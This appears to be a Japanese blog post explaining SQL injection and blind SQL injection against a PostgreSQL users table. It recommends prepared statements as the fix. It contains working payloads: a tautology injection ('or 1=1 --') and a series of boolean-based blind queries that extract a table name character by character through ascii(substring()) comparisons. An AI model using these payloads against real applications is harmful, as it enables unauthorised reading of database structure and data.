ブラインドSQLインジェクションを調べてみた

はじめに

「ブラインドSQLインジェクション」って何なんでしょう。「SQLインジェクション」はわかりますが「ブラインドSQLインジェクション」って何ですか?
ということで調べてみました。

前提

PostgreSQL 9.3
ユーザーテーブル

CREATE TABLE users
(
  id bigserial NOT NULL,
  username character varying(64),
  password character varying(256),
  role character varying(32),
  creaated timestamp with time zone,
  modified timestamp with time zone,
  error_count integer NOT NULL,
  CONSTRAINT users_pkey PRIMARY KEY (id)
)

まずSQLインジェクション

アプリケーションの検索条件に(ikechampion)で検索

SELECT username FROM users where username = 'ikechampion' and role = 2;

検索条件に「ikechampion' or 1=1 --」と入力し検索、正しくエスケープされないと

SELECT username FROM users where username = 'ikechampion' or 1=1 --' and role = 2;

正しくエスケープされないと下記と解釈されすべてのroleのレコードが参照されます。

SELECT username FROM users where username = 'ikechampion' or 1=1

対策としてはプリペアドステートメントを使う、使えない場合は適切にエスケープするですね。

続きましてブラインドSQLインジェクション

テーブル名の1文字目がASCIIコードで110(n)を超えているかのサブクエリをくっつけます。下記は結果0レコードです。

SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 110 -- role = 2' ;

ASCIIコードで103(g)を超えているか。下記は結果0レコードです。

SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 103 -- role = 2' ;

ASCIIコードで100(d)を超えているか。下記は結果0レコードです。

SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 100 -- role = 2' ;

ASCIIコードで99(c)を超えているか。下記は結果0レコードです。

SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 99 -- role = 2' ;

ASCCIコードで98(b)を超えているか。下記は結果0レコードです。

SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 98 -- role = 2' ;

ASCIIコードで97(a)を超えているか。下記は結果1レコードです。

SELECT username FROM users where username = 'ikemoto' and ascii(lower(substring((SELECT min(TABLENAME) FROM pg_tables where TABLENAME !~ '^(pg_|sql_)'),1,1))) > 97 -- role = 2' ;

ということでpg_tablesの TABLENAMEが最小値の1文字目は"b"であることが判明しました。実際の攻撃はスクリプトを使って簡単にできるようです。

まとめ

ブラインドSQLインジェクションとはSQLインジェクション脆弱性を使ってテーブル名とかカラム名とかを取得する手法のことでした。
SQLインジェクション脆弱性があればブラインドSQLインジェクション脆弱性があるということですね。